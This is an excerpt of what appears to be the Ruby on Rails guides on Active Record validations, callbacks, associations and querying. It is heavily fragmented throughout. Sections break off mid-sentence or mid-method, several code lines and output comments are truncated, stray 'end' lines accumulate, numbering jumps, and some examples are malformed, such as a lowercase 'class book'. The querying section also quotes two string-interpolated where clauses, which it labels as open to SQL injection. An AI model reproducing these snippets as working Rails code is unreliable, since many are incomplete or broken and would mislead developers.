You can pass more than one symbol for each class method and the
respective validations will be run in the same order as they were
registered.
The valid? method will verify that the errors collection is empty, so your
custom validation methods should add errors to it when you wish
validation to fail:
class Invoice < ApplicationRecord
validate :expiration_date_cannot_be_in_the_past,
:discount_cannot_be_greater_than_total_value
def expiration_date_cannot_be_in_the_past
if expiration_date.present? && expiration_date < Date.today
errors.add(:expiration_date, "can't be in the past")
end
end
def discount_cannot_be_greater_than_total_value
if discount > total_value
By default, such validations will run every time you call valid? or save
the object. But it is also possible to control when to run these custom
validations by giving an :on option to the validate method, with either:
:create or :update.
class Invoice < ApplicationRecord
validate :active_customer, on: :create
def active_customer
errors.add(:customer_id, "is not active") unless customer.ac
end
end
person = Person.new
person.valid? # => false
person.errors.messages
# => {:name=>["can't be blank", "is too short (minimum is 3 cha
person = Person.new(name: "John Doe")
person.valid? # => true
person.errors.messages # => {}
7.2 errors[]
errors[] is used when you want to check the error messages for a specific
attribute. It returns an array of strings with all error messages for the given
attribute, each string with one error message. If there are no errors related
to the attribute, it returns an empty array.
person = Person.new
person.valid? # => false
person.errors[:name]
# => ["can't be blank", "is too short (minimum is 3 characters)
7.3 errors.add
The add method lets you add an error message related to a particular
attribute. It takes as arguments the attribute and the error message.
The errors.full_messages method (or its equivalent, errors.to_a)
returns the error messages in a user-friendly format, with the capitalized
attribute name prepended to each message, as shown in the examples
below.
7.4 errors.details
You can specify a validator type to the returned error details hash using the
errors.add method.
class Person < ApplicationRecord
def a_method_used_for_validation_purposes
errors.add(:name, :invalid_characters)
end
end
person = Person.create(name: "!@#")
person.errors.details[:name]
# => [{error: :invalid_characters}]
To improve the error details to contain the unallowed characters set for
instance, you can pass additional keys to errors.add.
All built in Rails validators populate the details hash with the
corresponding validator type.
7.5 errors[:base]
You can add error messages that are related to the object's state as a whole,
instead of being related to a specific attribute. You can use this method
when you want to say that the object is invalid, no matter the values of its
attributes. Since errors[:base] is an array, you can simply add a string to
it and it will be used as an error message.
class Person < ApplicationRecord
def a_method_used_for_validation_purposes
errors[:base] << "This person is invalid because ..."
end
end
7.6 errors.clear
The clear method is used when you intentionally want to clear all the
messages in the errors collection. Of course, calling errors.clear upon
an invalid object won't actually make it valid: the errors collection will
now be empty, but the next time you call valid? or any method that tries
to save this object to the database, the validations will run again. If any of
person = Person.new
person.valid? # => false
person.errors[:name]
# => ["can't be blank", "is too short (minimum is 3 characters)
person.errors.clear
person.errors.empty? # => true
person.save # => false
person.errors[:name]
# => ["can't be blank", "is too short (minimum is 3 characters)"
7.7 errors.size
The size method returns the total number of error messages for the object.
class Person < ApplicationRecord
validates :name, presence: true, length: { minimum: 3 }
end
person = Person.new
person.valid? # => false
person.errors.size # => 2
Furthermore, if you use the Rails form helpers to generate your forms,
when a validation error occurs on a field, it will generate an extra <div>
around the entry.
<div class="field_with_errors">
<input id="article_title" name="article[title]" size="30" type=
</div>
You can then style this div however you'd like. The default scaffold that
Rails generates, for example, adds this CSS rule:
.field_with_errors {
padding: 2px;
background-color: red;
display: table;
}
This means that any field with an error ends up with a 2 pixel red border.
2 Callbacks Overview
Callbacks are methods that get called at certain moments of an object's life
cycle. With callbacks it is possible to write code that will run whenever an
Active Record object is created, saved, updated, deleted, validated, or
loaded from the database.
2.1 Callback Registration
In order to use the available callbacks, you need to register them. You can
implement the callbacks as ordinary methods and use a macro-style class
method to register them as callbacks:
class User < ApplicationRecord
validates :login, :email, presence: true
before_validation :ensure_login_has_a_value
protected
def ensure_login_has_a_value
if login.nil?
self.login = email unless email.blank?
end
end
end
The macro-style class methods can also receive a block. Consider using
this style if the code inside your block is so short that it fits in a single line:
class User < ApplicationRecord
validates :login, :email, presence: true
before_create do
self.name = login.capitalize if name.blank?
end
end
Callbacks can also be registered to only fire on certain life cycle events:
class User < ApplicationRecord
before_validation :normalize_name, on: :create
# :on takes an array as well
after_validation :set_location, on: [ :create, :update ]
protected
def normalize_name
self.name = name.downcase.titleize
end
def set_location
self.location = LocationService.query(self)
end
end
3 Available Callbacks
Here is a list with all the available Active Record callbacks, listed in the
same order in which they will get called during the respective operations:
3.1 Creating an Object
before_validation
after_validation
before_save
around_save
before_create
around_create
after_create
after_save
after_commit/after_rollback
after_destroy
after_commit/after_rollback
after_save runs both on create and update, but always after the more
specific callbacks after_create and after_update, no matter the order in
3.5 after_touch
The after_touch callback will be called whenever an Active Record
object is touched.
class User < ApplicationRecord
after_touch do |user|
puts "You have touched an object"
end
end
end
4 Running Callbacks
The following methods trigger callbacks:
create
create!
decrement!
destroy
destroy!
destroy_all
increment!
save
save!
save(validate: false)
toggle!
update_attribute
update
update!
valid?
5 Skipping Callbacks
Just as with validations, it is also possible to skip callbacks by using the
following methods:
decrement
decrement_counter
delete
delete_all
increment
increment_counter
toggle
touch
update_column
update_columns
update_all
update_counters
6 Halting Execution
As you start registering new callbacks for your models, they will be
queued for execution. This queue will include all your model's validations,
the registered callbacks, and the database operation to be executed.
The whole callback chain is wrapped in a transaction. If any before
callback method returns exactly false or raises an exception, the
execution chain gets halted and a ROLLBACK is issued; after callbacks
can only accomplish that by raising an exception.
Any exception that is not ActiveRecord::Rollback or
ActiveRecord::RecordInvalid will be re-raised by Rails after the
callback chain is halted. Raising an exception other than
ActiveRecord::Rollback or ActiveRecord::RecordInvalid may break
code that does not expect methods like save and update_attributes
(which normally try to return true or false) to raise an exception.
7 Relational Callbacks
Callbacks work through model relationships, and can even be defined by
them. Suppose an example where a user has many articles. A user's articles
should be destroyed if the user is destroyed. Let's add an after_destroy
callback to the User model by way of its relationship to the Article
model:
class User < ApplicationRecord
has_many :articles, dependent: :destroy
end
class Article < ApplicationRecord
after_destroy :log_destroy_action
def log_destroy_action
puts 'Article destroyed'
end
end
>> user = User.first
=> #<User id: 1>
>> user.articles.create!
=> #<Article id: 1, user_id: 1>
>> user.destroy
Article destroyed
=> #<User id: 1>
8 Conditional Callbacks
As with validations, we can also make the calling of a callback method
conditional on the satisfaction of a given predicate. We can do this using
the :if and :unless options, which can take a symbol, a string, a Proc or
an Array. You may use the :if option when you want to specify under
which conditions the callback should be called. If you want to specify the
conditions under which the callback should not be called, then you may
use the :unless option.
8.1 Using :if and :unless with a Symbol
You can associate the :if and :unless options with a symbol
corresponding to the name of a predicate method that will get called right
before the callback. When using the :if option, the callback won't be
executed if the predicate method returns false; when using the :unless
option, the callback won't be executed if the predicate method returns true.
This is the most common option. Using this form of registration it is also
possible to register several different predicates that should be called to
check if the callback should be executed.
class Order < ApplicationRecord
before_save :normalize_card_number, if: :paid_with_card?
end
9 Callback Classes
Sometimes the callback methods that you'll write will be useful enough to
be reused by other models. Active Record makes it possible to create
classes that encapsulate the callback methods, so it becomes very easy to
reuse them.
Here's an example where we create a class with an after_destroy
callback for a PictureFile model:
class PictureFileCallbacks
def after_destroy(picture_file)
if File.exist?(picture_file.filepath)
File.delete(picture_file.filepath)
end
end
end
When declared inside a class, as above, the callback methods will receive
the model object as a parameter. We can now use the callback class in the
model:
class PictureFile < ApplicationRecord
after_destroy PictureFileCallbacks.new
end
end
end
end
You can declare as many callbacks as you want inside your callback
classes.
10 Transaction Callbacks
There are two additional callbacks that are triggered by the completion of a
database transaction: after_commit and after_rollback. These callbacks
are very similar to the after_save callback except that they don't execute
until after database changes have either been committed or rolled back.
They are most useful when your active record models need to interact with
external systems which are not part of the database transaction.
Consider, for example, the previous example where the PictureFile
model needs to delete a file after the corresponding record is destroyed. If
anything raises an exception after the after_destroy callback is called
and the transaction rolls back, the file will have been deleted and the
model will be left in an inconsistent state. For example, suppose that
picture_file_2 in the code below is not valid and the save! method
raises an error.
PictureFile.transaction do
picture_file_1.destroy
picture_file_2.save!
end
the :on option specifies when a callback will be fired. If you don't supply
the :on option the callback will fire for every action.
Since using after_commit callback only on create, update or delete is
common, there are aliases for those operations:
after_create_commit
after_update_commit
after_destroy_commit
class PictureFile < ApplicationRecord
after_destroy_commit :delete_picture_file_from_disk
def delete_picture_file_from_disk
if File.exist?(filepath)
File.delete(filepath)
end
end
end
1 Why Associations?
In Rails, an association is a connection between two Active Record
models. Why do we need associations between models? Because they
make common operations simpler and easier in your code. For example,
consider a simple Rails application that includes a model for authors and a
model for books. Each author can have many books. Without associations,
the model declarations would look like this:
class Author < ApplicationRecord
end
class Book < ApplicationRecord
end
Now, suppose we wanted to add a new book for an existing author. We'd
need to do something like this:
Or consider deleting an author, and ensuring that all of its books get
deleted as well:
@books = Book.where(author_id: @author.id)
@books.each do |book|
book.destroy
end
@author.destroy
With Active Record associations, we can streamline these - and other operations by declaratively telling Rails that there is a connection between
the two models. Here's the revised code for setting up authors and books:
class Author < ApplicationRecord
has_many :books, dependent: :destroy
end
class Book < ApplicationRecord
belongs_to :author
end
With this change, creating a new book for a particular author is easier:
@book = @author.books.create(published_at: Time.now)
To learn more about the different types of associations, read the next
section of this guide. That's followed by some tips and tricks for working
with associations, and then by a complete reference to the methods and
options for associations in Rails.
belongs_to associations must use the singular term. If you used the
pluralized form in the above example for the author association in the
Book model, you would be told that there was an "uninitialized constant
end
t.string :name
t.timestamps
end
create_table :accounts do |t|
t.belongs_to :supplier, index: true
t.string :account_number
t.timestamps
end
end
end
Depending on the use case, you might also need to create a unique index
and/or a foreign key constraint on the supplier column for the accounts
table. In this case, the column definition might look like this:
Then new join models are automatically created for the newly associated
objects. If some that existed previously are now missing, then their join
rows are automatically deleted.
Automatic deletion of join models is direct, no destroy callbacks are
triggered.
The has_many :through association is also useful for setting up
"shortcuts" through nested has_many associations. For example, if a
document has many sections, and a section has many paragraphs, you may
sometimes want to get a simple collection of all paragraphs in the
end
class AccountHistory < ApplicationRecord
belongs_to :account
end
end
create_table :parts do |t|
t.string :part_number
t.timestamps
end
create_table :assemblies_parts, id: false do |t|
t.belongs_to :assembly, index: true
t.belongs_to :part, index: true
end
end
end
The simplest rule of thumb is that you should set up a has_many :through
relationship if you need to work with the relationship model as an
independent entity. If you don't need to do anything with the relationship
model, it may be simpler to set up a has_and_belongs_to_many
relationship (though you'll need to remember to create the joining table in
the database).
You should use has_many :through if you need validations, callbacks or
extra attributes on the join model.
2.9 Polymorphic Associations
A slightly more advanced twist on associations is the polymorphic
association. With polymorphic associations, a model can belong to more
than one other model, on a single association. For example, you might
have a picture model that belongs to either an employee model or a
product model. Here's how this could be declared:
class Picture < ApplicationRecord
belongs_to :imageable, polymorphic: true
end
have a relation to itself. For example, you may want to store all employees
in a single database model, but be able to trace relationships such as
between manager and subordinates. This situation can be modeled with
self-joining associations:
class Employee < ApplicationRecord
has_many :subordinates, class_name: "Employee",
foreign_key: "manager_id"
belongs_to :manager, class_name: "Employee"
end
But what if you want to reload the cache, because data might have been
changed by some other part of the application? Just call reload on the
association:
bad idea to give an association a name that is already used for an instance
method of ActiveRecord::Base. The association method would override
the base method and break things. For instance, attributes or
connection are bad names for associations.
3.3 Updating the Schema
Associations are extremely useful, but they are not magic. You are
responsible for maintaining your database schema to match your
associations. In practice, this means two things, depending on what sort of
associations you are creating. For belongs_to associations you need to
create foreign keys, and for has_and_belongs_to_many associations you
need to create the appropriate join table.
3.3.1 Creating Foreign Keys for belongs_to Associations
end
If you create an association some time after you build the underlying
model, you need to remember to create an add_column migration to
provide the necessary foreign key.
3.3.2 Creating Join Tables for has_and_belongs_to_many Associations
We pass id: false to create_table because that table does not represent
a model. That's required for the association to work properly. If you
observe any strange behavior in a has_and_belongs_to_many association
like mangled model IDs, or exceptions about conflicting IDs, chances are
you forgot that bit.
You can also use the method create_join_table
By default, associations look for objects only within the current module's
scope. This can be important when you declare Active Record models
within a module. For example:
module MyApplication
module Business
class Supplier < ApplicationRecord
has_one :account
end
class Account < ApplicationRecord
belongs_to :supplier
end
end
end
This will work fine, because both the Supplier and the Account class are
defined within the same scope. But the following will not work, because
Supplier and Account are defined in different scopes:
module MyApplication
module Business
class Supplier < ApplicationRecord
has_one :account
end
end
module Billing
class Account < ApplicationRecord
belongs_to :supplier
end
end
end
module Business
class Supplier < ApplicationRecord
has_one :account,
class_name: "MyApplication::Billing::Account"
end
end
module Billing
class Account < ApplicationRecord
belongs_to :supplier,
class_name: "MyApplication::Business::Supplier"
end
end
end
With these changes, Active Record will only load one copy of the author
object, preventing inconsistencies and making your application more
efficient:
a = Author.first
b = a.books.first
a.first_name == b.author.first_name # => true
a.first_name = 'Manny'
a.first_name == b.author.first_name # => true
build_author
create_author
create_author!
If the associated object has already been retrieved from the database for
this object, the cached version will be returned. To override this behavior
(and force a database read), call #reload on the parent object.
@author = @book.reload.author
4.1.1.2 association=(associate)
type. This object will be instantiated from the passed attributes, and the
link through this object's foreign key will be set, but the associated object
will not yet be saved.
@author = @book.build_author(author_number: 123,
author_name: "John Doe")
4.1.1.4 create_association(attributes = {})
While Rails uses intelligent defaults that will work well in most situations,
there may be times when you want to customize the behavior of the
belongs_to association reference. Such customizations can easily be
accomplished by passing options and scope blocks when you create the
association. For example, this association uses two such options:
class Book < ApplicationRecord
belongs_to :author, dependent: :destroy,
counter_cache: true
end
If you set the :autosave option to true, Rails will save any loaded
members and destroy members that are marked for destruction whenever
you save the parent object.
4.1.2.2 :class_name
If the name of the other model cannot be derived from the association
name, you can use the :class_name option to supply the model name. For
example, if a book belongs to an author, but the actual name of the model
containing authors is Patron, you'd set things up this way:
class Book < ApplicationRecord
belongs_to :author, class_name: "Patron"
end
4.1.2.3 :counter_cache
With this declaration, Rails will keep the cache value up to date, and then
return that value in response to the size method.
Although the :counter_cache option is specified on the model that
includes the belongs_to declaration, the actual column must be added to
the associated (has_many) model. In the case above, you would need to
add a column named books_count to the Author model.
You can override the default column name by specifying a custom column
name in the counter_cache declaration instead of true. For example, to
use count_of_books instead of books_count:
class Book < ApplicationRecord
belongs_to :author, counter_cache: :count_of_books
end
class Author < ApplicationRecord
has_many :books
end
By convention, Rails assumes that the column used to hold the foreign key
on this model is the name of the association with the suffix _id added. The
:foreign_key option lets you set the name of the foreign key directly:
class Book < ApplicationRecord
belongs_to :author, class_name: "Patron",
foreign_key: "patron_id"
end
In any case, Rails will not create foreign key columns for you. You need to
explicitly define them as part of your migrations.
4.1.2.6 :primary_key
When we execute @user.todos.create then the @todo record will have its
user_id value as the guid value of @user.
4.1.2.7 :inverse_of
4.1.2.8 :polymorphic
If you set the :touch option to true, then the updated_at or updated_on
timestamp on the associated object will be set to the current time whenever
this object is saved or destroyed:
class Book < ApplicationRecord
belongs_to :author, touch: true
end
class Author < ApplicationRecord
has_many :books
end
In this case, saving or destroying an book will update the timestamp on the
associated author. You can also specify a particular timestamp attribute to
update:
class Book < ApplicationRecord
belongs_to :author, touch: :books_updated_at
end
4.1.2.10 :validate
If you set the :validate option to true, then associated objects will be
validated whenever you save this object. By default, this is false:
associated objects will not be validated when this object is saved.
4.1.2.11 :optional
If you set the :optional option to true, then the presence of the
associated object won't be validated. By default, this option is set to false.
4.1.3 Scopes for belongs_to
There may be times when you wish to customize the query used by
belongs_to. Such customizations can be achieved via a scope block. For
example:
class Book < ApplicationRecord
belongs_to :author, -> { where active: true },
dependent: :destroy
end
You can use any of the standard querying methods inside the scope block.
The following ones are discussed below:
where
includes
readonly
select
4.1.3.1 where
The where method lets you specify the conditions that the associated
object must meet.
class book < ApplicationRecord
belongs_to :author, -> { where active: true }
end
4.1.3.2 includes
There's no need to use includes for immediate associations - that is, if you
have Book belongs_to :author, then the author is eager-loaded
automatically when it's needed.
4.1.3.3 readonly
If you use readonly, then the associated object will be read-only when
retrieved via the association.
4.1.3.4 select
The select method lets you override the SQL SELECT clause that is used
to retrieve data about the associated object. By default, Rails retrieves all
columns.
If you use the select method on a belongs_to association, you should
also set the :foreign_key option to guarantee the correct results.
4.1.4 Do Any Associated Objects Exist?
You can see if any associated objects exist by using the association.nil?
method:
if @book.author.nil?
@msg = "No author found for this book"
end
4.1.5 When are Objects Saved?
@account = @supplier.account
If the associated object has already been retrieved from the database for
this object, the cached version will be returned. To override this behavior
(and force a database read), call #reload on the parent object.
@account = @supplier.reload.account
4.2.1.2 association=(associate)
While Rails uses intelligent defaults that will work well in most situations,
there may be times when you want to customize the behavior of the
has_one association reference. Such customizations can easily be
accomplished by passing options when you create the association. For
example, this association uses two such options:
class Supplier < ApplicationRecord
has_one :account, class_name: "Billing", dependent: :nullify
end
4.2.2.2 :autosave
If you set the :autosave option to true, Rails will save any loaded
members and destroy members that are marked for destruction whenever
you save the parent object.
4.2.2.3 :class_name
If the name of the other model cannot be derived from the association
name, you can use the :class_name option to supply the model name. For
example, if a supplier has an account, but the actual name of the model
containing accounts is Billing, you'd set things up this way:
class Supplier < ApplicationRecord
has_one :account, class_name: "Billing"
end
4.2.2.4 :dependent
because the initial associated object's foreign key will be set to the
unallowed NULL value.
4.2.2.5 :foreign_key
By convention, Rails assumes that the column used to hold the foreign key
on the other model is the name of this model with the suffix _id added.
The :foreign_key option lets you set the name of the foreign key directly:
class Supplier < ApplicationRecord
has_one :account, foreign_key: "supp_id"
end
In any case, Rails will not create foreign key columns for you. You need to
explicitly define them as part of your migrations.
4.2.2.6 :inverse_of
By convention, Rails assumes that the column used to hold the primary
key of this model is id. You can override this and explicitly specify the
primary key with the :primary_key option.
4.2.2.8 :source
The :source option specifies the source association name for a has_one
:through association.
4.2.2.9 :source_type
The :through option specifies a join model through which to perform the
query. has_one :through associations were discussed in detail earlier in
this guide.
4.2.2.11 :validate
If you set the :validate option to true, then associated objects will be
validated whenever you save this object. By default, this is false:
associated objects will not be validated when this object is saved.
4.2.3 Scopes for has_one
There may be times when you wish to customize the query used by
has_one. Such customizations can be achieved via a scope block. For
example:
class Supplier < ApplicationRecord
has_one :account, -> { where active: true }
end
You can use any of the standard querying methods inside the scope block.
The following ones are discussed below:
where
includes
readonly
select
4.2.3.1 where
The where method lets you specify the conditions that the associated
object must meet.
class Supplier < ApplicationRecord
has_one :account, -> { where "confirmed = 1" }
end
4.2.3.2 includes
If you use the readonly method, then the associated object will be readonly when retrieved via the association.
4.2.3.4 select
The select method lets you override the SQL SELECT clause that is used
to retrieve data about the associated object. By default, Rails retrieves all
columns.
4.2.4 Do Any Associated Objects Exist?
You can see if any associated objects exist by using the association.nil?
method:
if @supplier.account.nil?
@msg = "No account found for this supplier"
end
4.2.5 When are Objects Saved?
collection.empty?
collection.size
collection.find(...)
collection.where(...)
collection.exists?(...)
collection.build(attributes = {}, ...)
collection.create(attributes = {})
collection.create!(attributes = {})
4.3.1.1 collection
4.3.1.5 collection=(objects)
The collection= method makes the collection contain only the supplied
objects, by adding and deleting as appropriate.
4.3.1.6 collection_singular_ids
While Rails uses intelligent defaults that will work well in most situations,
there may be times when you want to customize the behavior of the
has_many association reference. Such customizations can easily be
accomplished by passing options when you create the association. For
example, this association uses two such options:
class Author < ApplicationRecord
has_many :books, dependent: :delete_all, validate: false
end
If you set the :autosave option to true, Rails will save any loaded
members and destroy members that are marked for destruction whenever
you save the parent object.
4.3.2.3 :class_name
If the name of the other model cannot be derived from the association
name, you can use the :class_name option to supply the model name. For
example, if an author has many books, but the actual name of the model
containing books is Transaction, you'd set things up this way:
class Author < ApplicationRecord
has_many :books, class_name: "Transaction"
end
4.3.2.4 :counter_cache
By convention, Rails assumes that the column used to hold the foreign key
on the other model is the name of this model with the suffix _id added.
The :foreign_key option lets you set the name of the foreign key directly:
class Author < ApplicationRecord
has_many :books, foreign_key: "cust_id"
end
In any case, Rails will not create foreign key columns for you. You need to
explicitly define them as part of your migrations.
4.3.2.7 :inverse_of
By convention, Rails assumes that the column used to hold the primary
key of the association is id. You can override this and explicitly specify
the primary key with the :primary_key option.
Let's say the users table has id as the primary_key but it also has a guid
column. The requirement is that the todos table should hold the guid
column value as the foreign key and not id value. This can be achieved
like this:
class User < ApplicationRecord
The :source option specifies the source association name for a has_many
:through association. You only need to use this option if the name of the
source association cannot be automatically inferred from the association
name.
4.3.2.10 :source_type
The :through option specifies a join model through which to perform the
query. has_many :through associations provide a way to implement
many-to-many relationships, as discussed earlier in this guide.
4.3.2.12 :validate
If you set the :validate option to false, then associated objects will not
be validated whenever you save this object. By default, this is true:
associated objects will be validated when this object is saved.
4.3.3 Scopes for has_many
There may be times when you wish to customize the query used by
has_many. Such customizations can be achieved via a scope block. For
example:
class Author < ApplicationRecord
has_many :books, -> { where processed: true }
end
You can use any of the standard querying methods inside the scope block.
The following ones are discussed below:
where
extending
group
includes
limit
offset
order
readonly
select
distinct
4.3.3.1 where
The where method lets you specify the conditions that the associated
object must meet.
class Author < ApplicationRecord
has_many :confirmed_books, -> { where "confirmed = 1" },
class_name: "Book"
end
end
If you use a hash-style where option, then record creation via this
association will be automatically scoped using the hash. In this case, using
@author.confirmed_books.create or @author.confirmed_books.build
will create books where the confirmed column has the value true.
4.3.3.2 extending
The group method supplies an attribute name to group the result set by,
using a GROUP BY clause in the finder SQL.
class Author < ApplicationRecord
has_many :line_items, -> { group 'books.id' },
through: :books
end
4.3.3.4 includes
The limit method lets you restrict the total number of objects that will be
fetched through an association.
class Author < ApplicationRecord
has_many :recent_books,
-> { order('published_at desc').limit(100) },
class_name: "Book",
end
4.3.3.6 offset
The offset method lets you specify the starting offset for fetching objects
via an association. For example, -> { offset(11) } will skip the first 11
records.
4.3.3.7 order
The order method dictates the order in which associated objects will be
received (in the syntax used by an SQL ORDER BY clause).
class Author < ApplicationRecord
has_many :books, -> { order "date_confirmed DESC" }
end
4.3.3.8 readonly
If you use the readonly method, then the associated objects will be readonly when retrieved via the association.
4.3.3.9 select
The select method lets you override the SQL SELECT clause that is used
to retrieve data about the associated objects. By default, Rails retrieves all
columns.
If you specify your own select, be sure to include the primary key and
foreign key columns of the associated model. If you do not, Rails will
throw an error.
4.3.3.10 distinct
Use the distinct method to keep the collection free of duplicates. This is
mostly useful together with the :through option.
class Person < ApplicationRecord
has_many :readings
has_many :articles, through: :readings
end
person = Person.create(name: 'John')
In the above case there are two readings and person.articles brings out
both of them even though these records are pointing to the same article.
Now let's set distinct:
class Person
has_many :readings
has_many :articles, -> { distinct }, through: :readings
end
In the above case there are still two readings. However person.articles
shows only one article because the collection loads only unique records.
If you want to make sure that, upon insertion, all of the records in the
persisted association are distinct (so that you can be sure that when you
inspect the association that you will never find duplicate records), you
should add a unique index on the table itself. For example, if you have a
table named readings and you want to make sure the articles can only be
added to a person once, you could add the following in a migration:
add_index :readings, [:person_id, :article_id], unique: true
Once you have this unique index, attempting to add the article to a person
The collection= method makes the collection contain only the supplied
@assembly_count = @part.assemblies.size
4.4.1.12 collection.find(...)
While Rails uses intelligent defaults that will work well in most situations,
there may be times when you want to customize the behavior of the
has_and_belongs_to_many association reference. Such customizations can
easily be accomplished by passing options when you create the
association. For example, this association uses two such options:
class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies, -> { readonly },
autosave: true
end
:validate
4.4.2.1 :association_foreign_key
By convention, Rails assumes that the column in the join table used to hold
the foreign key pointing to the other model is the name of that model with
the suffix _id added. The :association_foreign_key option lets you set
the name of the foreign key directly:
The :foreign_key and :association_foreign_key options are useful
when setting up a many-to-many self-join. For example:
class User < ApplicationRecord
has_and_belongs_to_many :friends,
class_name: "User",
foreign_key: "this_user_id",
association_foreign_key: "other_user_id"
end
4.4.2.2 :autosave
If you set the :autosave option to true, Rails will save any loaded
members and destroy members that are marked for destruction whenever
you save the parent object.
4.4.2.3 :class_name
If the name of the other model cannot be derived from the association
name, you can use the :class_name option to supply the model name. For
example, if a part has many assemblies, but the actual name of the model
containing assemblies is Gadget, you'd set things up this way:
class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies, class_name: "Gadget"
end
4.4.2.4 :foreign_key
By convention, Rails assumes that the column in the join table used to hold
the foreign key pointing to this model is the name of this model with the
suffix _id added. The :foreign_key option lets you set the name of the
foreign key directly:
class User < ApplicationRecord
has_and_belongs_to_many :friends,
class_name: "User",
foreign_key: "this_user_id",
association_foreign_key: "other_user_id"
end
4.4.2.5 :join_table
If the default name of the join table, based on lexical ordering, is not what
you want, you can use the :join_table option to override the default.
4.4.2.6 :validate
If you set the :validate option to false, then associated objects will not
be validated whenever you save this object. By default, this is true:
associated objects will be validated when this object is saved.
4.4.3 Scopes for has_and_belongs_to_many
There may be times when you wish to customize the query used by
has_and_belongs_to_many. Such customizations can be achieved via a
scope block. For example:
You can use any of the standard querying methods inside the scope block.
The where method lets you specify the conditions that the associated
object must meet.
class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies,
-> { where "factory = 'Seattle'" }
end
If you use a hash-style where, then record creation via this association will
be automatically scoped using the hash. In this case, using
@parts.assemblies.create or @parts.assemblies.build will create
orders where the factory column has the value "Seattle".
4.4.3.2 extending
The group method supplies an attribute name to group the result set by,
using a GROUP BY clause in the finder SQL.
class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies, -> { group "factory" }
end
4.4.3.4 includes
The limit method lets you restrict the total number of objects that will be
fetched through an association.
class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies,
-> { order("created_at DESC").limit(50) }
end
4.4.3.6 offset
The offset method lets you specify the starting offset for fetching objects
via an association. For example, if you set offset(11), it will skip the first
11 records.
4.4.3.7 order
The order method dictates the order in which associated objects will be
received (in the syntax used by an SQL ORDER BY clause).
class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies,
-> { order "assembly_name ASC" }
end
4.4.3.8 readonly
If you use the readonly method, then the associated objects will be readonly when retrieved via the association.
4.4.3.9 select
The select method lets you override the SQL SELECT clause that is used
to retrieve data about the associated objects. By default, Rails retrieves all
columns.
4.4.3.10 distinct
Extensions can refer to the internals of the association proxy using these
three attributes of the proxy_association accessor:
proxy_association.owner returns the object that the association is a
part of.
proxy_association.reflection returns the reflection object that
Did you note we are adding a "type" field? Since all models will be saved
in a single database table, Rails will save in this column the name of the
model that is being saved. In our example, this can be "Car", "Motorcycle"
or "Bicycle." STI won't work without a "type" field in the table.
Next, we will generate the three models that inherit from Vehicle. For this,
we can use the --parent=PARENT option, which will generate a model that
inherits from the specified parent and without equivalent migration (since
the table already exists).
For example, to generate the Car model:
$ rails generate model car --parent=Vehicle
This means that all behavior added to Vehicle is available for Car too, as
associations, public methods, etc.
Creating a car will save it in the vehicles table with "Car" as the type
field:
Car.create(color: 'Red', price: 10000)
Querying car records will just search for vehicles that are cars:
Car.all
Using the find method, you can retrieve the object corresponding to the
specified primary key that matches any supplied options. For example:
# Find the client with primary key (id) 10.
client = Client.find(10)
# => #<Client id: 10, first_name: "Ryan">
The take method retrieves a record without any implicit ordering. For
example:
client = Client.take
# => #<Client id: 1, first_name: "Lifo">
The take method returns nil if no record is found and no exception will
be raised.
You can pass in a numerical argument to the take method to return up to
that number of results. For example
client = Client.take(2)
# => [
# #<Client id: 1, first_name: "Lifo">,
# #<Client id: 220, first_name: "Sara">
# ]
The take! method behaves exactly like take, except that it will raise
ActiveRecord::RecordNotFound if no matching record is found.
The retrieved record may vary depending on the database engine.
1.1.3 first
The first method finds the first record ordered by primary key (default).
For example:
client = Client.first
# => #<Client id: 1, first_name: "Lifo">
# ]
On a collection that is ordered using order, first will return the first
record ordered by the specified attribute for order.
client = Client.order(:first_name).first
# => #<Client id: 2, first_name: "Fifo">
The first! method behaves exactly like first, except that it will raise
ActiveRecord::RecordNotFound if no matching record is found.
1.1.4 last
The last method finds the last record ordered by primary key (default).
For example:
client = Client.last
# => #<Client id: 221, first_name: "Russel">
On a collection that is ordered using order, last will return the last record
ordered by the specified attribute for order.
client = Client.order(:first_name).last
# => #<Client id: 220, first_name: "Sara">
The last! method behaves exactly like last, except that it will raise
ActiveRecord::RecordNotFound if no matching record is found.
1.1.5 find_by
The find_by method finds the first record matching some conditions. For
example:
Client.find_by first_name: 'Lifo'
# => #<Client id: 1, first_name: "Lifo">
Client.find_by first_name: 'Jon'
# => nil
It is equivalent to writing:
Client.where(first_name: 'Lifo').take
The find_by! method behaves exactly like find_by, except that it will
raise ActiveRecord::RecordNotFound if no matching record is found. For
example:
Client.find_by! first_name: 'does not exist'
# => ActiveRecord::RecordNotFound
The find_each method retrieves a batch of records and then yields each
record to the block individually as a model. In the following example,
find_each will retrieve 1000 records (the current default for both
find_each and find_in_batches) and then yield each record individually
to the block as a model. This process is repeated until all of the records
have been processed:
User.find_each do |user|
NewsMailer.weekly(user).deliver_now
end
The find_each method accepts most of the options allowed by the regular
find method, except for :order and :limit, which are reserved for
internal use by find_each.
Three additional options, :batch_size, :start and :finish, are available
as well.
:batch_size
:start
:finish
Similar to the :start option, :finish allows you to configure the last ID
of the sequence whenever the highest ID is not the one you need. This
would be useful, for example, if you wanted to run a batch process, using a
subset of records based on :start and :finish
For example, to send newsletters only to users with the primary key
starting from 2000 up to 10000 and to retrieve them in batches of 5000:
2 Conditions
The where method allows you to specify conditions to limit the records
returned, representing the WHERE-part of the SQL statement. Conditions can
either be specified as a string, array, or hash.
2.1 Pure String Conditions
If you'd like to add conditions to your find, you could just specify them in
there, just like Client.where("orders_count = '2'"). This will find all
clients where the orders_count field's value is 2.
Building your own conditions as pure strings can leave you vulnerable to
SQL injection exploits. For example, Client.where("first_name LIKE
'%#{params[:first_name]}%'") is not safe. See the next section for the
preferred way to handle conditions using an array.
2.2 Array Conditions
Now what if that number could vary, say as an argument from
somewhere? The find would then take the form:
Client.where("orders_count = ?", params[:orders])
Active Record will take the first argument as the conditions string and any
additional arguments will replace the question marks (?) in it.
If you want to specify multiple conditions:
In this example, the first question mark will be replaced with the value in
params[:orders] and the second will be replaced with the SQL
to this code:
Client.where("orders_count = #{params[:orders]}")
Similar to the (?) replacement style of params, you can also specify keys
in your conditions string along with a corresponding keys/values hash:
This makes for clearer readability if you have a large number of variable
conditions.
2.3 Hash Conditions
Active Record also allows you to pass in hash conditions which can
increase the readability of your conditions syntax. With hash conditions,
you pass in a hash with keys of the fields you want qualified and the
values of how you want to qualify them:
